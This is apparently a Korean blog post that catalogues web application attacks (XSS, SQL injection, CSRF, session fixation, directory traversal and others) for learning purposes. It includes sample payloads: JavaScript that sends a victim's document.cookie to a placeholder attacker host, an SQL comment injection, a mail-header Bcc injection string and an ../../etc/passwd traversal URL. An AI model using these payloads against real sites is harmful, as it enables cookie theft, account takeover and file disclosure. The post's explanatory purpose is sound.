웹 공격 기술

HTTP자체는 보안 상의 문제가 일어날 정도로 복잡한 프로토콜은 아닙니다. 그러므로 프로토콜 자체는 공격 대상이 되는 경우는 없습니다.
문제는 서버와 클라이언트 그리고 서버 상에서 동작하는 웹 애플리케이션 등의 리소스입니다
이번 포스트에서는 웹 애플리케이션 공격에 대한 내용을 설명합니다.

보안기능이 없는 HTTP

위에서도 적었듯이 HTTP는 구조가 단순한 프로토콜 입니다. 만들 당시에도 이렇게까지 쓰일줄은 몰랐을 것 입니다 :)
그렇기 때문에 장점도 많지만 보안에 관해서는 나쁜점도 있습니다.
웹 애플리케이션에서는 인증이나 세션관리 기능을 개발자가 설계하고 구현할 필요가 있습니다.
하지만 제각각이 설계하기 때문에 각기 다르게 구현됩니다. 그 결과 보안 등급이 충분치 못하고 공격자가 악용할 수 있는 취약성과 같은 버그가 있는 상태로 가동되고 있는 웹 애플리케이션도 존재합니다.

리퀘스트는 변조가능

클라이언트로부터 서버로 오는 모든 요청은 변조가 가능합니다. 기대하고 있는 값과 언제나 다른값이 보내질 가능성이 있습니다.
쿼리나 폼, HTTP 헤더, 쿠키 등을 경유해서 보내져 웹 애플리케이션에 취약성이 있을 경우 정보를 도둑맞거나 권한을 빼앗기는 일이 발생합니다.

웹 애플리케이션에 대한 공격패턴

공격패턴 두가지

  • 능동적 공격
  • 수동적 공격

능동적 공격

능동적 공격(active attack)은 공격자가 직접 웹 애플리케이션에 액세스해서 공격 코드를 보내는 타입의 공격입니다.
서버상의 리소스에 대해 직접 실행되기 때문에 공격자가 리소스에 액세스할 필요가 있습니다.
대표적인 공격에는 SQL인젝션, OS커맨드 인젝션 동이 있습니다.

수동적 공격

수동적 공격(passive attack)은 함정을 이용하여 유저에게 공격코드를 실행시키게 하는 공격입니다.
직접 액세스 하지 않습니다.

- 공격자가 설치한 함정에 유저를 유도
- 함정을 실행시키면 유저의 브라우저나 메일 클라이언트에서 함정을 열게됨
- 함정에 걸리면 유저의 브라우저가 장착된 공격 코드를 포함한 HTTP 리퀘스트를 공격 대상인 웹 애플리케이션에 송신하고 공격코드 실행
- 공격 코드를 실행하면 취약성이 있는 웹 애플리케이션 경유한 결과로 쿠키나 기밀정보를 도둑맞거나 로그인 중인 유저의 권한 악용 가능

대표적인 수동적 공격에는 크로스 사이트 스크립팅(XSS, cross-site scripting)과 크로스 사이트 리퀘스트(CSRF, cross site request forgery) 등이 있습니다.

출력 값의 이스케이프 미비로 인한 취약성

보안대책은 아래장소에서 보통 실시 합니다.

  • 클라이언트에서 체크
  • 웹 애플리케이션(서버 측)에서 체크
    • 입력값 체크
    • 출력값 체크

웹 애플리케이션에서 처리한 데이터를 데이터베이스나 파일 시스템, HTML, 메일 등에서 출력할 때 출력하는 곳에 따라 값을 이스케이프로 처리하는 출력 값의 처리가 미비할 경우, 공격자가 보낸 공격 코드가 출력하는 대상에 피해를 입힐 수 있습니다.
아래에서 그 종류에 따라 설명하겠습니다.

크로스 사이트 스크립팅 - XSS, Cross-Site Scripting

크로스 사이트 스크립팅은 취약성이 있는 웹 사이트를 방문한 사용자의 브라우저에서 부정한 HTML태그나 JavaScript를 동작 시키는 공격입니다.

- 가짜 입력 폼 등에 의해 유저의 개인정보를 도둑맞음
- 스크립트에 의해 유저의 쿠키 값이 도둑맞거나 피해자가 의도하지 않는 리퀘스트 송신
- 가짜 문장이나 이미지 표시
  • 유저의 쿠키를 빼앗는 공격
    폼에 함정을 설치하는 것 외에도 아래와 같은 스크립트를 추가하여 유저의 쿠키를 빼앗아올수 있습니다.
    <script src=http//hackr.jp/xss.js></script>
    
    게시판에 위 내용을 넣고 저장 후 다른 사용자가 해당 게시글을 확인 할 경우 위 스크립트가 실행되며,
    위 스크립트가 가르키는 경로로 가면 아래 javascript가 코딩되어있습니다.
    var content = escape(document.cookie);
    document.write("<img src=http://hackr.jp/?")
    document.write(content);
    document.write(">");
    

SQL 인젝션 - SQL Injection

SQL인젝션은 SQL문장의 구문을 파괴하는 공격법입니다.
아래는 원래 요청하려는 sql구문입니다.

SELECT *
FROM  tblUser
WHERE id = 'userid'

위가 정상적인 구분이라면
userid에 다른 문자열을 넣어 sql의 실행을 의도적으로 변경시키는 방법입니다.
예를들면 아래와 같이 userid문자열을 (‘—) 문자열로 대체할수 있습니다

SELECT * 
FROM tblUser
WHERE id = ' '--'

sql에서 주석은 —이며 즉 다른 sql결과를 얻게 됩니다.

이 예제에서는 표시상에 문제만 있을 뿐이지만 실제로 SQL 인젝션이 발생한 경우에는 유저 정보나 결제 정보 혹은 다른 테이블을 부정하게 열어 본다던지 전부 삭제하는 등의 행위를 할 수 있습니다.

OS 커맨드 인젝션 - OS Command Injection

웹 애플리케이션을 경유하여 OS 명령을 부정하게 실행하는 공격입니다.
쉘을 호출하는 함수가 있는 곳에서 발생할 가능성이 높습니다.
OS 커맨드 인젝션은 Windows와 Linux 등의 커맨드 라인에서 프로그램을 기동하는 쉘에 대해서 커맨드를 보낼수 있기 때문에 OS상에서 동작하는 다양한 프로그램을 실행시킬 수 있습니다.

HTTP 헤더 인젝션 - HTTP Header Injection

공격자가 리스폰스 헤더필드에 개행문자등을 삽입함으로써 임의의 리스폰스 헤더 필드나 바디를 추가하는 수동적 공격입니다.
특히 바디를 추가하는 공격을 HTTP 리스폰스 분할 공격(HTTP Response Splitting Attack)라고 부릅니다.
영향받는 부분은 아래와 같습니다.

임의의 쿠키세트
임의의 URL에 리다이렉트
임의의 바디 표시(HTTP 리스폰스 분할 공격)

메일 헤더 인젝션 - Mail Header Injection

웹 애플리케이션의 메일 송신 기능에 공격자가 임의의 To 및 Subject 등의 메일 헤더를 부정하게 추가하는 공격입니다.
취약성이 있는 웹 사이트를 이용해서 스팸 메일이나 바이러스 메일 등을 임의의 주소에 송신할 수 있습니다.
예를 들면 공격자는 메일 주소로 아래의 데이터를 리퀘스트로 보냅니다
bob@hackr.jp$0D%0ABcc: user@example.com
%0D%0A는 메일 메시지에서 개행 문자를 의미합니다. 즉 수신자에 bcc가 몰래 추가되게 됩니다.
같은 방법으로 To나 Subject 등에 임의의 메일 헤더를 쓰거나 본문에 첨부파일을 추가 하는게 가능합니다.

디렉토리 접근 공격 - Directory Traversal

비공개 디렉토리의 파일에 대해서 부정하게 디렉토리 패스를 가로질러 액세스하는 공격입니다.
공격 사례로 아래와 같은 쿼리를 봅시다

0401.log파일을 가져오는 기능을 하는 주소입니다. 하지만 아래와 같이 수정하면 어떻게 될까요?
```http://example.com/read.php?log=../../etc/passwd

상대 경로로 passwd 파일에 접근할수 있게 되었습니다.
이런 방식으로 공개를 원치 않는 파일에 액세스 할 수 있습니다.

리모트 파일 인클루션 - Remote File Inclusion

스크립트의 일부를 다른 파일에서 읽어올 때 공격자가 지정한 외부 서버에 URL을 파일에서 읽게 함으로써 임의의 스크립트를 동작시키는 공격입니다.
주로 PHP에서 발생하는 취약성으로 PHP의 include와 require 설정에 따라서 외부 서버의 URL을 파일명으로 지정할 수 있는 기능입니다.

웹 서버의 설정, 설계 미비로 인한 취약성

강제 브라우징 - Forced Browsing

웹 서버의 공개 디렉토리에 있는 파일 중에서 공개 의도가 없는 파일이 열람되게 되는 취약성입니다.
아래와 같은 영향을 받을 수 있습니다

- 고객 정보 등 중요 정보 누설
- 본래 액세스 권한이 있는 사용자에게만 표시하지 않는 정보 누설
- 어디에서도 링크되지 않는 파일 누설

예를들면 친구권한이 존재 할 경우에만 접근 할 수 있는 페이지가 있습니다.
이 페이지의 경우 권한이 있는 친구만 볼수 있으나, 해당 페이지의 이미지의 경우 해당 이미지의 주소를 안다면 누구나 접근하여 볼 수 있습니다.

부적절한 에러 메시지 처리 - Error Handling Vulnerability

공격자에게 유익한 정보가 웹 애플리케이션 에러 메시지에 포함되는 취약성입니다.
주요 에러메시지란 무엇이 있을까요

- 웹 애플리케이션에 의한 에러 메시지
- 데이터베이스 등의 시스템에 의한 에러 메시지

웹 애플리케이션에서는 유저가 보고 있는 화면에 상세한 에러메시지를 표시할 필요가 없습니다.

시스템이 출력하는 오류는 다음과 같은 것 들이 있습니다.

- PHP나 ASP 등의 스크립트 에러
- 데이터베이스나 미들웨어의 에러
- 웹 서버 에러

에러 메시지가 공격 힌트로 이용되지 않도록 해야하며, 커스텀 에러 메시지를 이용하거나 상세한 에러메시지를 제한하여야 합니다.

오픈 리다이렉트 - Open Redirect

오픈 리다이렉트란 지정한 임의의 URL로 리다이렉트 하는 기능입니다.
하지만 악의가 있는 URL로 리다이렉트 될 경우 취약성과 연결됩니다.

세션 관리 미비로 인한 취약성

세션 관리는 유저의 상태를 관리하기 위한 기능이지만 이 부분이 취약한 경우 유저의 인증상태를 빼앗겨 버리는 피해가 발생할 수 있습니다.

세션 하이잭 - Session Hijack

인증기능이 있는 웹애플리케이션에서는 세션 ID를 사용한 세션 관리 기구에 의해서 인증상태를 관리하는게 대부분입니다.
클라이언트에서는 쿠키등에 세션 ID를 기록, 서버에서는 세션 ID와 인증상태 등을 연동해서 관리하고 있습니다.
세션 하이잭은 유저의 세션 ID를 입수해서 유저로 위장하여 악용하는 방법입니다.
입수방식은 주로 다음과같은 방법이 있습니다.

- 부적절한 생성 방법에 의한 세션 ID 추측
- 도청이나 XSS 등에 의한 세션 ID 도용
- 세션 고정 공격에 의한 세션 ID 강제

세션 픽세이션 - Session Fixation

세션 하이잭이 사용자의 세션 ID를 빼앗는 공격 이라면, 세션 픽세이션은 공격자가 지정한 세션 ID를 유저에게 강제적으로 사용하게 하는 수동적 공격입니다.
세션 고정 공격이라고도 불립니다.

1. 공격자는 로그인 페이지에 액세스합니다.
2. 서버로부터 세션 ID를 발행 받습니다.(인증 전)
3. 공격자는 발급받은 세션 ID를 유저가 강제적으로 이용하도록 함정을 준비합니다.
4. 사용자는 공격자의 세션 ID를 사용하여 인증을 하게 됩니다.(인증)
5. 공격자는 이제 발급받았던 세션ID를 이용하여 사용자로 액세스 할 수 있습니다.

크로스 사이트 리퀘스트 포저리 - CSRF, Cross-Site Request Forgeries

XSS와 비슷하지만 최종 공격 대상과 방법에 차이가 있습니다.

CSRF 는 특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그인된 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정,삭제, 등록등)를 하게하는 공격입니다.

CSRF가 성립하려면 수정, 삭제, 등록 하는 액션에서 사용자를 구분하는 파라메터 값이 존재하지 않아야합니다. 특정한 사용자를 구분하는 파라메터가 있다면 하나의 사용자 에게만 적용 되거나 인증에러로공격이 되지 않을 수 있기 때문입니다.

따라서 인증을 쿠키 만으로 관리할 때 CSRF 공격이 쉽게 성공 할 수 있습니다.

- 인증된 유저의 권한으로 설정 정보 등을 갱신
- 인증된 유저의 권한으로 상품을 구입
- 인증된 유저의 권한으로 게시판에 글 작성

위와 같은 영향을 받을 수 있습니다.

기타

패스워드 크래킹 - Password Cracking

패스워드를 논리적으로 이끌어내서 인증을 돌파하는 공격입니다.
웹 애플리케이션 이외의 시스템(FTP, SSH등)에도 사용되는 공격입니다.
패스워드 크래킹은 아래와 같은 방법이 있습니다

- 네트워크 경유로 패스워드 시행
    - 무차별 대입 공격 : 무차별로 모든 패스워드 후보를 대입하여 인증을 돌파합니다.
    - 사전 공격 : 패스워드 후보(생일 수치화한 0101~1231 등)를 준비해 놓고 그것을 이용하여 돌파하는 공격입니다
- 암호화된 패스워드를 해독(시스템에 침입하여 암호화나 해시화된 패스워드 데이터를 취득한 상황)
    - 무차별 대입 공격/사전 공격에 의한 유추 : 패스워드 후보에 해시함수를 적용해 보며 패스워드 유추합니다.
    - 레인보우 테이블 :  평문과 그에 대응하는 해시 값으로 구성된 테이블을 이용하여 공격에 걸리는 시간을 단축하는 테크닉 입니다. 
    - 열쇠 입수 : 공통키 암호등으로 암호화된 패스워드의 경우 암호화에 사용된 키를 입수하여 복호화 하여 해독합니다.
    - 암호 알고리즘의 취약성 : 알고리즘의 취약성을 파고들어 패스워드를 해독하는 방법입니다만 취약성이 발견될 가능성이 낮습니다.

이 이외의 인증을 돌파하는 공격으로는 SQL인젝션으로 인증을 회피하거나 크로스 사이트 스크립팅 등으로 유저를 속여서 패스워드를 훔치는 방법 등이 있습니다.

클릭 재킹 - Clickjacking

투명한 버튼이나 링크를 함정으로 사용할 웹페이지에 심어둡니다.
유저가 클릭하면 의도치 않은 콘텐츠에 액세스 시키는 공격입니다. UI Redressing이라고도 불립니다.

DoS공격 - Denial of Service attack

서비스를 제공 정지 상태로 만드는 공격입니다. 서비스 정지 공격, 서비스 거부 공격이라고도 불립니다.
주요 공격에는 아래방법이 있습니다.

- 액세스를 집중시킵니다. 부하로 인하여 리소스를 다 소비하여 서비스가 정지하게 만듭니다.
- 취약성을 공격해 서비스를 정지시킵니다.

대량의 액세스를 보낸다는 점에서 단순해 보이지만, 공격 이외의 정상적인 액세스와 구별이 힘듭니다.

여러대의 컴퓨터에서 DoS공격을 할 경우 DDoS(Distributed Denial of Service attack)이라고 불리며 바이러스 등에 감염된 컴퓨터가 공격에 이용되는 경우가 있습니다.

백도어 - Backdoor

제한된 기능을 정규 절차를 밟지 않고 이용하기 위해 설치된 뒷문입니다.
다음과 같은 종류가 있습니다

- 개발 단계에 디버그용으로 추가한 백도어
- 개발자가 자신의 이익을 위해 추가한 백도어
- 공격자가 방법을 써서 설치한 백도어

백도어용 프로그램이 설치된 경우에는 프로세스나 통신을 감시해서 발견하는 것도 가능합니다.
허나 웹 애플리케이션을 수정해서 설치한 백도어는 정상적으로 이용하는 것과 구별이 어려워 발견이 쉽지 않습니다.

마치며

꽤나 긴 포스트였습니다.
각 해킹방식에 대한 설명을 자세한 예제와 함께 설명하지 못했지만, 어떤 종류들이 있는지 다양하고 간단하게 확인할 수 있습니다.
자세한 예제, 방지 방법에 대해서 알고싶으신 분은 소제목을 참고하여 구글 검색 부탁드립니다~
다음시간에는 JSON이란 무엇인지 알아보겠습니다.